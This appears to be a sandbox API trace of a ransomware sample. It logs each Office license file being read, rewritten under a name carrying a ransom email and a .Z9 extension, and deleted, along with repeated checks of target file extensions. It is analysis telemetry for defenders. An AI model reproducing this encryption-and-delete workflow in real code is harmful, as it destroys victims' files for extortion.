	[0179.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220
	[0179.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.821] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.821] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.821] GetLastError () returned 0x0
	[0179.822] ReadFile (in: hFile=0x388, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0179.839] WriteFile (in: hFile=0x540, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0180.001] ReadFile (in: hFile=0x388, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.001] WriteFile (in: hFile=0x540, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x112, lpOverlapped=0x0) returned 1
	[0180.001] SetEndOfFile (hFile=0x540) returned 1
	[0180.001] CloseHandle (hObject=0x540) returned 1
	[0180.001] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.001] SetEndOfFile (hFile=0x388) returned 1
	[0180.004] CloseHandle (hObject=0x388) returned 1
	[0180.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1
	[0180.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.267] lstrlenW (lpString=".doc") returned 4
	[0180.267] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.267] lstrlenW (lpString=".docx") returned 5
	[0180.267] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.267] lstrlenW (lpString=".pdf") returned 4
	[0180.267] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString=".xls") returned 4
	[0180.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString=".xlsx") returned 5
	[0180.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.268] lstrlenW (lpString=".ppt") returned 4
	[0180.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.268] lstrlenW (lpString=".zip") returned 4
	[0180.268] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString=".rar") returned 4
	[0180.268] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString=".bz2") returned 4
	[0180.268] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString=".7z") returned 3
	[0180.268] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.268] lstrlenW (lpString=".dbf") returned 4
	[0180.268] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.268] lstrlenW (lpString=".1cd") returned 4
	[0180.268] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.268] lstrlenW (lpString=".jpg") returned 4
	[0180.268] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.268] lstrlenW (lpString=".doc") returned 4
	[0180.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.268] lstrlenW (lpString=".docx") returned 5
	[0180.269] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.269] lstrlenW (lpString=".pdf") returned 4
	[0180.269] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.269] lstrlenW (lpString=".xls") returned 4
	[0180.269] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.269] lstrlenW (lpString=".xlsx") returned 5
	[0180.269] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.269] lstrlenW (lpString=".ppt") returned 4
	[0180.269] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.269] lstrlenW (lpString=".zip") returned 4
	[0180.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.269] lstrlenW (lpString=".rar") returned 4
	[0180.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.269] lstrlenW (lpString=".bz2") returned 4
	[0180.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.269] lstrlenW (lpString=".7z") returned 3
	[0180.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.269] lstrlenW (lpString=".dbf") returned 4
	[0180.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.269] lstrlenW (lpString=".1cd") returned 4
	[0180.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0180.269] lstrlenW (lpString=".jpg") returned 4
	[0180.270] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.270] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0180.270] lstrlenW (lpString="HomeBusinessR_Retail3-pl.xrm-ms") returned 31
	[0180.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.368] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10659) returned 1
	[0180.368] CloseHandle (hObject=0x36c) returned 1
	[0180.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220
	[0180.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.369] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.370] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.960] GetLastError () returned 0x0
	[0180.960] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0181.000] WriteFile (in: hFile=0x53c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0181.001] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.001] WriteFile (in: hFile=0x53c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x112, lpOverlapped=0x0) returned 1
	[0181.001] SetEndOfFile (hFile=0x53c) returned 1
	[0181.001] CloseHandle (hObject=0x53c) returned 1
	[0181.001] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.001] SetEndOfFile (hFile=0x36c) returned 1
	[0181.004] CloseHandle (hObject=0x36c) returned 1
	[0181.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1
	[0181.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.006] lstrlenW (lpString=".doc") returned 4
	[0181.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.006] lstrlenW (lpString=".docx") returned 5
	[0181.006] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.006] lstrlenW (lpString=".pdf") returned 4
	[0181.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.006] lstrlenW (lpString=".xls") returned 4
	[0181.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.006] lstrlenW (lpString=".xlsx") returned 5
	[0181.006] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.006] lstrlenW (lpString=".ppt") returned 4
	[0181.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.006] lstrlenW (lpString=".zip") returned 4
	[0181.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.006] lstrlenW (lpString=".rar") returned 4
	[0181.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString=".bz2") returned 4
	[0181.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString=".7z") returned 3
	[0181.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.007] lstrlenW (lpString=".dbf") returned 4
	[0181.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.007] lstrlenW (lpString=".1cd") returned 4
	[0181.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.007] lstrlenW (lpString=".jpg") returned 4
	[0181.007] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.007] lstrlenW (lpString=".doc") returned 4
	[0181.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString=".docx") returned 5
	[0181.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.007] lstrlenW (lpString=".pdf") returned 4
	[0181.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString=".xls") returned 4
	[0181.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString=".xlsx") returned 5
	[0181.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.007] lstrlenW (lpString=".ppt") returned 4
	[0181.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.007] lstrlenW (lpString=".zip") returned 4
	[0181.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.007] lstrlenW (lpString=".rar") returned 4
	[0181.008] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.008] lstrlenW (lpString=".bz2") returned 4
	[0181.008] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.008] lstrlenW (lpString=".7z") returned 3
	[0181.008] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.008] lstrlenW (lpString=".dbf") returned 4
	[0181.008] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.008] lstrlenW (lpString=".1cd") returned 4
	[0181.008] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0181.008] lstrlenW (lpString=".jpg") returned 4
	[0181.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.008] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0181.008] lstrlenW (lpString="HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 35
	[0181.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.012] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11613) returned 1
	[0181.012] CloseHandle (hObject=0x36c) returned 1
	[0181.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220
	[0181.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.013] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.013] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.014] GetLastError () returned 0x0
	[0181.014] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d5d, lpOverlapped=0x0) returned 1
	[0181.119] WriteFile (in: hFile=0x53c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0181.120] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.120] WriteFile (in: hFile=0x53c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0181.120] SetEndOfFile (hFile=0x53c) returned 1
	[0181.120] CloseHandle (hObject=0x53c) returned 1
	[0181.121] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.121] SetEndOfFile (hFile=0x36c) returned 1
	[0181.124] CloseHandle (hObject=0x36c) returned 1
	[0181.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1
	[0181.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.125] lstrlenW (lpString=".doc") returned 4
	[0181.125] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.125] lstrlenW (lpString=".docx") returned 5
	[0181.125] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.125] lstrlenW (lpString=".pdf") returned 4
	[0181.126] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.126] lstrlenW (lpString=".xls") returned 4
	[0181.126] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.126] lstrlenW (lpString=".xlsx") returned 5
	[0181.126] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.126] lstrlenW (lpString=".ppt") returned 4
	[0181.126] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.128] lstrlenW (lpString=".zip") returned 4
	[0181.128] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.128] lstrlenW (lpString=".rar") returned 4
	[0181.128] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.128] lstrlenW (lpString=".bz2") returned 4
	[0181.128] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.128] lstrlenW (lpString=".7z") returned 3
	[0181.128] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.128] lstrlenW (lpString=".dbf") returned 4
	[0181.129] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.129] lstrlenW (lpString=".1cd") returned 4
	[0181.129] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.129] lstrlenW (lpString=".jpg") returned 4
	[0181.129] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.129] lstrlenW (lpString=".doc") returned 4
	[0181.129] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString=".docx") returned 5
	[0181.129] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.129] lstrlenW (lpString=".pdf") returned 4
	[0181.129] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString=".xls") returned 4
	[0181.129] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString=".xlsx") returned 5
	[0181.129] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.129] lstrlenW (lpString=".ppt") returned 4
	[0181.129] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.129] lstrlenW (lpString=".zip") returned 4
	[0181.129] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString=".rar") returned 4
	[0181.129] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString=".bz2") returned 4
	[0181.129] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.129] lstrlenW (lpString=".7z") returned 3
	[0181.129] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.130] lstrlenW (lpString=".dbf") returned 4
	[0181.130] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.130] lstrlenW (lpString=".1cd") returned 4
